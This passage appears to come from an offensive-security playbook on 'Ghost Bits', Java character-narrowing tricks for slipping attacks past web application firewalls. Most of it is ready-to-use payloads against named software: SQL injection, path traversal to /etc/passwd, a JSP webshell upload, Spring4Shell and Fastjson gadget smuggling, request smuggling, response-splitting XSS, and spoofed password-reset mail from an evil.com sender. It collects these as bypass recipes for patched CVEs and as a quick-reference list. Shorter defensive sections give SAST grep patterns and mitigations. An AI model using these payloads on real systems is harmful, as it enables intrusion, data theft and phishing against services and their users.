+
357
+ ```json
358
+ {"q": "\u丰丰耳失 union select 1,2,3 -- "}
359
+ ```
360
+
361
+ | View | Content |
362
+ |---------|-----------------------------------------------------|
363
+ | WAF | `\u丰丰耳失 union select ...` (no leading digit) |
364
+ | Jackson | `\u0031 union select 1,2,3-- ` -> `1 union select…` |
365
+
366
+ Pair with [sqli-sql-injection](../sqli-sql-injection/SKILL.md) for the
367
+ downstream UNION / boolean / time-based payload templates.
368
+
369
+ ### 5.4 Fastjson — `\u` and `\x` escape bypass (Families B + C)
370
+
371
+ Two independent surfaces:
372
+
373
+ (a) `\u` escape — `Character.digit(c, 16)` accepts Unicode digit categories
374
+ beyond ASCII (Thai `๐-๙` U+0E50..U+0E59, Punjabi `੦-੯` U+0A66..U+0A6F,
375
+ fullwidth `0-9` U+FF10..U+FF19).
376
+
377
+ ```json
378
+ {"\u4_type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x"}
379
+ ```
380
+
381
+ WAF view: `\u4_type` (no `@type` literal). Fastjson normalizes fullwidth
382
+ `4` to `4`, then handles `_` via the `\x` shortcut below, yielding `@type`.
383
+
384
+ (b) `\x` escape — Fastjson computes `digits[x1] * 16 + digits[x2]`. An
385
+ illegal hex character returns the default value 0.
386
+
387
+ ```
388
+ \x4_ -> '4'(=4) * 16 + '_'(=0) = 0x40 = '@'
389
+ ```
390
+
391
+ ```json
392
+ {"\x4_type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x"}
393
+ ```
394
+
395
+ | View | Field name |
396
+ |----------|------------|
397
+ | WAF | `\x4_type` (not `@type`) |
398
+ | Fastjson | `@type` -> JdbcRowSetImpl autotype gadget triggers |
399
+
400
+ ### 5.5 Spring / Jetty / Undertow / Vert.x — URL decoding (Families A + B)
401
+
402
+ Two combinable tricks:
403
+
404
+ Trick 1 — Family A character substitution in path or query:
405
+
406
+ ```
407
+ /api/v1/data?file=阮丯阮丯etc丯passwd
408
+ = ../../etc/passwd at the byte layer
409
+ ```
410
+
411
+ Trick 2 — Family B `%2>` folding when Jetty's `TypeUtil.fromHexDigit` is in
412
+ the chain:
413
+
414
+ ```
415
+ /setup/setup-s/%2>%2>/log.jsp
416
+ = /setup/setup-s/../log.jsp after decode
417
+ ```
418
+
419
+ Either alone bypasses most signature WAFs; combined they survive even
420
+ "normalized then matched" rules that only see ASCII percent triplets.
421
+
422
+ Spring CVE-2025-41242 chain (`StringUtils.uriDecode` patched in PR #34673):
423
+
424
+ ```
425
+ input : 阮严灵丰丰甲来
426
+ (.)(%)(u)(0)(0)(2)(e)
427
+ narrow: .%u002e
428
+ decode: ..
429
+ result: arbitrary file read via path traversal
430
+ ```
431
+
432
+ | Stage | Path |
433
+ |-----------------|----------------|
434
+ | Spring `isInvalidPath()` | `.%u002e` — no literal `..`, allow |
435
+ | Backend file resolution | `..` after `%u002e` decode → traversal |
436
+
437
+ ### 5.6 Angus Mail / Jakarta Mail — SMTP injection (Family A)
438
+
439
+ Trigger: any application that builds SMTP envelopes or headers from
440
+ user-controlled strings. Internal `ASCIIUtility` does:
441
+
442
+ ```java
443
+ byte b = (byte) ch; // 16-bit char silently narrowed
444
+ ```
445
+
446
+ Smuggle CRLF as `瘍瘊`:
447
+
448
+ ```
449
+ hacker@evil.com瘍瘊Subject: Password reset code瘍瘊To: target@victim.com瘍瘊瘍瘊Your code is 1234
450
+ ```
451
+
452
+ | View | What it parses |
453
+ |------|----------------|
454
+ | Application validation | a single `From` value containing odd CJK |
455
+ | SMTP server | five separate header lines + body, fully spoofed |
456
+
457
+ Real impact pattern: Jira-style (CVE-2025-57733) password-reset hijacking,
458
+ Confluence domain allowlist bypass — pair with
459
+ [crlf-injection](../crlf-injection/SKILL.md) for non-mail CRLF reuse.
460
+
461
+ ### 5.7 Apache HttpClient `<= 4.5.9` — request smuggling (Family A)
462
+
463
+ HTTPCLIENT-1974 / HTTPCLIENT-1978: header values pass through
464
+ `OutputStreamWriter` plus a narrow-cast write that emits raw `\r\n` for
465
+ `\u760D\u760A`.
466
+
467
+ ```
468
+ X-Auth-Token: 1瘍瘊POST /admin HTTP/1.1\r\nHost: internal\r\nContent-Length: 0\r\n\r\nGET /public HTTP/1.1
469
+ ```
470
+
471
+ | Hop | Sees |
472
+ |-----|------|
473
+ | Front proxy / WAF | one request with a long `X-Auth-Token` |
474
+ | Origin | two requests; the second is an admin POST |
475
+
476
+ Cross-reference [request-smuggling](../request-smuggling/SKILL.md) for
477
+ chosen-prefix attacks once the desync is confirmed.
478
+
479
+ ### 5.8 JDK HttpServer — response splitting (CVE-2026-21933, Family A)
480
+
481
+ Reflection of user input into a response header passes through
482
+ `com.sun.net.httpserver` writers that low-byte-cast each char.
483
+
484
+ Payload (URL parameter or upstream header):
485
+
486
+ ```
487
+ Custom: Cu瘍瘊Content-Type: text/html瘍瘊Content-Length: 33瘍瘊瘍瘊<script>alert(1)</script>
488
+ ```
489
+
490
+ Server emits two logical responses; the second carries an attacker-chosen
491
+ body. Escalates to stored XSS, cache poisoning, and SSO redirect chains.
492
+
493
+ ### 5.9 Other affected components
494
+
495
+ Same Family A primitive, different sink:
496
+
497
+ - **Lettuce (Redis client)** — command injection by smuggling `\r\n` into
498
+ RESP frames; chain to arbitrary `CONFIG SET dir` + `SAVE` for SSRF-to-RCE.
499
+ - **Jodd `FileNameUtil`** — path traversal via `阮` and `丯` because its
500
+ internal write loop narrows.
501
+ - **XMLWriter** — tag-name injection when an attribute or text node value is
502
+ pushed through a low-byte writer; XXE / XSS pivot.
503
+ - **ActiveJ HTTP** — CRLF injection identical in shape to 5.7 / 5.8.
504
+ - **Vert.x HTTP body parser** — Family A in `MultipartParser`.
505
+
506
+ See [PAYLOAD_COOKBOOK.md](./PAYLOAD_COOKBOOK.md) for affected-version
507
+ matrix and full per-component payload skeletons.
508
+
509
+ ---
510
+
511
+ ## 6. KNOWN-CVE BYPASS RECIPES
512
+
513
+ Use these *exactly when the corresponding CVE is patched but a WAF still
514
+ fronts the service*. Each Payload below shifts the original ASCII attack into
515
+ a form that survives string-based WAF rules.
516
+
517
+ ### Openfire CVE-2023-32315 — auth bypass (Family B)
518
+
519
+ Original public bypass:
520
+
521
+ ```
522
+ GET /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
523
+ ```
524
+
525
+ Ghost Bits / `%2>` folding bypass (much harder to signature):
526
+
527
+ ```
528
+ GET /setup/setup-s/%2>%2>/%2>%2>/log.jsp
529
+ ```
530
+
531
+ Each `%2>` collapses through Jetty's lax hex into `%2E` = `.`, yielding the
532
+ same `../../` traversal without ever emitting `..` or `%2e` to the WAF.
533
+
534
+ ### GeoServer CVE-2024-36401 — RCE via `Runtime` keyword (Family B)
535
+
536
+ Public WAF rules typically block `Runtime`. Inject one folded character:
537
+
538
+ ```
539
+ Ru%6>time
540
+ ```
541
+
542
+ Decoder math: `%6>` -> `%6E` -> `n`. The expression evaluator now sees
543
+ `Runtime`, the WAF never did.
544
+
545
+ ### Spring4Shell CVE-2022-22965 — class loader chain (Family A)
546
+
547
+ Required parameter prefix `class.module.classLoader...`. WAFs block the
548
+ literal `class`. Substitute via low-byte chars:
549
+
550
+ ```
551
+ Content-Disposition: form-data; name*="㹣౬ᙡ⑳⑳.module.classLoader.resources..."
552
+ ```
553
+
554
+ | Component | Char | Code point | Low byte |
555
+ |-----------|-------|------------|----------|
556
+ | `c` | `㹣` | U+3E63 | 0x63 |
557
+ | `l` | `౬` | U+0C6C | 0x6C |
558
+ | `a` | `ᙡ` | U+1661 | 0x61 |
559
+ | `s` | `⑳` | U+2473 | 0x73 |
560
+ | `s` | `⑳` | U+2473 | 0x73 |
561
+
562
+ Springs's parameter-name resolver narrows back to `class`.
563
+
564
+ ### Spring CVE-2025-41242 — arbitrary file read (Family A + Family B mix)
565
+
566
+ Already demonstrated in 5.5 above. Payload `阮严灵丰丰甲来` ->
567
+ `.%u002e` -> `..` after decode-after-validation.
568
+
569
+ ### Jakarta Mail CVE-2025-57733 — Jira-style mail hijack (Family A)
570
+
571
+ ```
572
+ to=victim@org.com瘍瘊Subject: Reset code瘍瘊To: attacker@evil.com瘍瘊瘍瘊Your code is 1234
573
+ ```
574
+
575
+ The mail leaves the company SMTP server with valid SPF / DKIM / DMARC, but
576
+ its `To:` and `Subject:` are attacker-chosen — high-fidelity phishing.
577
+
578
+ ---
579
+
580
+ ## 7. DETECTION DECISION TREE
581
+
582
+ Use this when triaging a target. The point is to avoid Ghost Bits when it
583
+ cannot help and to *always* try it when the preconditions hold.
584
+
585
+ ```
586
+ Is the backend Java? (Server header, error page, JSESSIONID, .do/.action,
587
+ WebGoat-style stack trace, X-Powered-By, X-Frame-Options
588
+ with Tomcat default values)
589
+ ├── No -> stop, Ghost Bits does not apply
590
+ └── Yes
591
+
592
+ ├── Is there a WAF / IDS or input filter blocking your literal payload?
593
+ │ ├── No -> use the literal payload; Ghost Bits is overkill
594
+ │ └── Yes -> continue
595
+
596
+ ├── Which sink are you targeting?
597
+ │ ├── File upload via multipart -> recipe 5.1 (Tomcat filename*)
598
+ │ ├── JSON deserialization -> recipes 5.3 (Jackson) / 5.4 (Fastjson)
599
+ │ ├── Class loader / BCEL ref -> recipe 5.2
600
+ │ ├── URL path / parameter -> recipe 5.5 + Family B `%2>`
601
+ │ ├── Header reflection -> recipes 5.7 / 5.8
602
+ │ ├── Mail send -> recipe 5.6
603
+ │ └── Redis / RESP / XML / RPC -> recipe 5.9
604
+
605
+ ├── Probe with a single non-destructive substitution first
606
+ │ (replace ONE character with its Ghost variant; observe response
607
+ │ diff: status code, length, header echo, error message, time)
608
+
609
+ └── If observable difference appears -> escalate by substituting all
610
+ blocked characters and chain
611
+ through the linked playbook.
612
+ ```
613
+
614
+ ---
615
+
616
+ ## 8. SAST / CODE-AUDIT SIGNATURES
617
+
618
+ Three priority tiers when reviewing Java source. Search across all your
619
+ project repos, all dependencies you can shade, and the `lib/` of any
620
+ deployed appliance.
621
+
622
+ ### Tier 1 — direct narrowing (Family A)
623
+
624
+ ```
625
+ \(byte\)\s*\w+
626
+ &\s*0[xX][fF][fF]
627
+ &\s*255
628
+ \.write\(\s*[a-zA-Z_]\w*\s*\) # OutputStream.write(int)
629
+ writeBytes\s*\(
630
+ StringBufferInputStream
631
+ String\.getBytes\s*\(\s*int
632
+ RandomAccessFile.*writeBytes
633
+ ```
634
+
635
+ ### Tier 2 — lax hex / digit decoding (Families B + C)
636
+
637
+ ```
638
+ Character\.digit\s*\(
639
+ fromHexDigit
640
+ convertHexDigit
641
+ fromHex\s*\(
642
+ uriDecode
643
+ URLDecoder\.decode
644
+ sHexValues\[
645
+ & 0x1F\)\s*\+\s*\(.*>>.*\) \* 25
646
+ ```
647
+
648
+ ### Tier 3 — high-risk wrappers and reachability
649
+
650
+ ```
651
+ RFC2231 # Tomcat / mail filename* parsing
652
+ JavaReader # BCEL ClassLoader reachable
653
+ ASCIIUtility # Jakarta Mail / Angus Mail
654
+ LineParser # HttpClient header parser
655
+ ChunkedDecoder # request smuggling adjacent
656
+ charToHex # Jackson
657
+ encodeUTF8 # candidate for char->byte writer
658
+ ```
659
+
660
+ Per-finding triage applies the **five-dimension risk model**:
661
+
662
+ | Dimension | Higher risk if |
663
+ |---------------|--------------------------------------------------------------------|
664
+ | Input control | HTTP param, header, filename, JSON key, mail address |
665
+ | Validation | a deny/allow list runs *before* the narrowing site |
666
+ | Narrowing time | conversion happens after security check |
667
+ | Syntax target | result enters URL / SMTP / HTTP / Redis / file system / SQL grammar |
668
+ | Re-decoding | Base64, URL-decode, JSON unescape, `%u`, etc. happen later |
669
+
670
+ Risk formula:
671
+
672
+ ```
673
+ attacker-controlled + check-before-narrow + result-in-protocol-syntax
674
+ + later-redecoding
675
+ = HIGH SEVERITY
676
+ ```
677
+
678
+ ---
679
+
680
+ ## 9. DIFFERENTIAL TESTING WORKFLOW
681
+
682
+ A reproducible, black-box procedure to find new Ghost Bits sinks (red team)
683
+ or to validate a fix (blue team).
684
+
685
+ ```
686
+ 1. Pick one dangerous byte T at a time (e.g. 0x2E for '.').
687
+
688
+ 2. Generate the candidate set:
689
+ C = { chr((k << 8) | T) for k in 1..255 }
690
+ Drop surrogates 0xD8XX..0xDFXX.
691
+
692
+ 3. For each candidate c in C:
693
+ a. Send a benign request with c at the chosen position.
694
+ b. Send the same request with literal T at the same position.
695
+ c. Compare four observables:
696
+ - status code
697
+ - response body length
698
+ - response body content hash (or diff)
699
+ - server-side log line (if available)
700
+
701
+ 4. If any candidate produces a response equivalent to T but differs from a
702
+ "neutral" character (e.g. 'X'), you have found a narrowing sink.
703
+
704
+ 5. Repeat for the next T in your priority list:
705
+ 0x2E ('.'), 0x2F ('/'), 0x25 ('%'), 0x40 ('@'),
706
+ 0x0D ('\r'), 0x0A ('\n'), 0x6A ('j'), 0x73 ('s'),
707
+ 0x6C ('l'), 0x61 ('a'), 0x63 ('c'), 0x22 ('"'), 0x27 (''')
708
+
709
+ 6. Cluster sinks by component (response Server header, error stack) — one
710
+ sink usually implies the whole framework version is vulnerable.
711
+ ```
712
+
713
+ This workflow is intentionally protocol-agnostic; the same loop works on a
714
+ file uploader, a search endpoint, a mail composer, or a Redis-backed cache.
715
+
716
+ ---
717
+
718
+ ## 10. DEFENSE AWARENESS
719
+
720
+ Five layers, all needed; any single one is bypassable in isolation.
721
+
722
+ | Layer | Action |
723
+ |------------------|----------------------------------------------------------------------|
724
+ | Source code | Ban hand-written `(byte) ch`, `& 0xFF`, `out.write(ch)`, `writeBytes`. Use `getBytes(StandardCharsets.UTF_8)` or strict ASCII allowlist for protocol fields. |
725
+ | Decoder | Reject illegal input. Never default-fold an unknown hex / Unicode digit / Base64 character to 0 or to its low 8 bits. |
726
+ | Validation order | Always normalize first, then validate. Specifically: strict decode → Unicode NFC/NFKC → protocol normalize (URL `..` resolution, `File.getCanonicalPath`) → security check → execute. |
727
+ | Protocol field | Use strict allowlists per field (HTTP header value, SMTP envelope, URL path, filename, JSON key, XML tag). Reject CR/LF in any header or address. |
728
+ | WAF / IDS | Run a *multi-view* normalizer. Always inspect the original string AND the `(char) & 0xFF` view AND the URL-decoded view AND the Unicode-NFKC view. Alert when any view contains a dangerous semantic the original lacked. |
729
+
730
+ Blue-team smell tests:
731
+
732
+ - Logs contain CJK / Latin-Extended characters at positions where the
733
+ protocol grammar expects ASCII (filename, header value, mail address).
734
+ - The HEX dump of a request contains bytes outside `0x20..0x7E` adjacent to
735
+ protocol delimiters.
736
+ - A pen-test or scanner reports a "weird 200" that the security monitoring
737
+ did not flag — Ghost Bits is the most common 2025-2026 cause for that
738
+ pattern in Java stacks.
739
+
740
+ ---
741
+
742
+ ## 11. QUICK REFERENCE — KEY PAYLOADS
743
+
744
+ ```text
745
+ # Ghost char generator
746
+ ghost(T, k) = chr(((k & 0xFF) << 8) | (T & 0xFF)) # avoid k in 0xD8..0xDF
747
+
748
+ # Tomcat filename* webshell upload
749
+ Content-Disposition: attachment; filename*="UTF-8''shell.陪sp" # → shell.jsp
750
+
751
+ # BCEL ClassLoader bypass (concept)
752
+ $$BCEL$$<each-byte-of-class-file-wrapped-in-a-Unicode-char>
753
+
754
+ # Jackson SQLi smuggling
755
+ {"q":"\u丰丰耳失 union select 1,2,3-- "} # → "1 union select…"
756
+
757
+ # Fastjson @type smuggling
758
+ {"\x4_type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x"}
759
+
760
+ # Spring URL decode + Jetty %2> folding
761
+ GET /api/data?file=阮丯阮丯etc丯passwd
762
+ GET /setup/setup-s/%2>%2>/log.jsp
763
+ GET /api?cmd=Ru%6>time
764
+
765
+ # Spring4Shell name* class smuggling
766
+ Content-Disposition: form-data; name*="㹣౬ᙡ⑳⑳.module.classLoader..."
767
+
768
+ # Spring CVE-2025-41242 path read
769
+ GET /resources/阮严灵丰丰甲来/secret.properties # → ../%u002e
770
+
771
+ # Angus Mail / Jira mail hijack
772
+ From: hacker@evil.com瘍瘊Subject: Reset瘍瘊To: victim@org.com瘍瘊瘍瘊Your code is 1234
773
+
774
+ # Apache HttpClient ≤4.5.9 smuggling
775
+ X-Auth-Token: 1瘍瘊POST /admin HTTP/1.1\r\nHost: internal\r\nContent-Length: 0\r\n\r\nGET /public HTTP/1.1
776
+
777
+ # JDK HttpServer response splitting (CVE-2026-21933)
778
+ ?ref=Cu瘍瘊Content-Type:text/html瘍瘊Content-Length:33瘍瘊瘍瘊<script>alert(1)</script>
779
+
780
+ # SAST first-pass grep
781
+ grep -RnE '\(byte\)\s*\w+|& 0[xX][fF][fF]|writeBytes|baos\.write\(\w+\)' src/
782
+ grep -RnE 'Character\.digit|fromHexDigit|charToHex|uriDecode' src/
783
+ ```
784
+
785
+ ---
786
+
787
+ ## REFERENCES
788
+
789
+ - Black Hat Asia 2026 — *Cast Attack: A New Threat Posed by Ghost Bits in
790
+ Java*. Speakers: Xinyu Bai (@b1u3r / @iSafeBlue), Zhihui Chen (@1ue).
791
+ Contributor: Zongzheng Zheng (@chun_springX).
792
+ - Real-world CVEs re-enabled: GeoServer CVE-2024-36401, Spring4Shell
793
+ CVE-2022-22965, Openfire CVE-2023-32315, Spring CVE-2025-41242, Jakarta
794
+ Mail CVE-2025-57733, JDK HttpServer CVE-2026-21933, Apache HttpClient
795
+ HTTPCLIENT-1974 / HTTPCLIENT-1978.
796
+ - Patched components to upgrade past: Apache Commons BCEL >= 6.12.0,
797
+ Fastjson 2.x latest, Apache HttpClient >= 4.5.10 (or migrate to 5.x),
798
+ GeoServer >= 2.28.3, Openfire >= 5.0.4. Confirm vendor advisories before
799
+ relying on any single version number.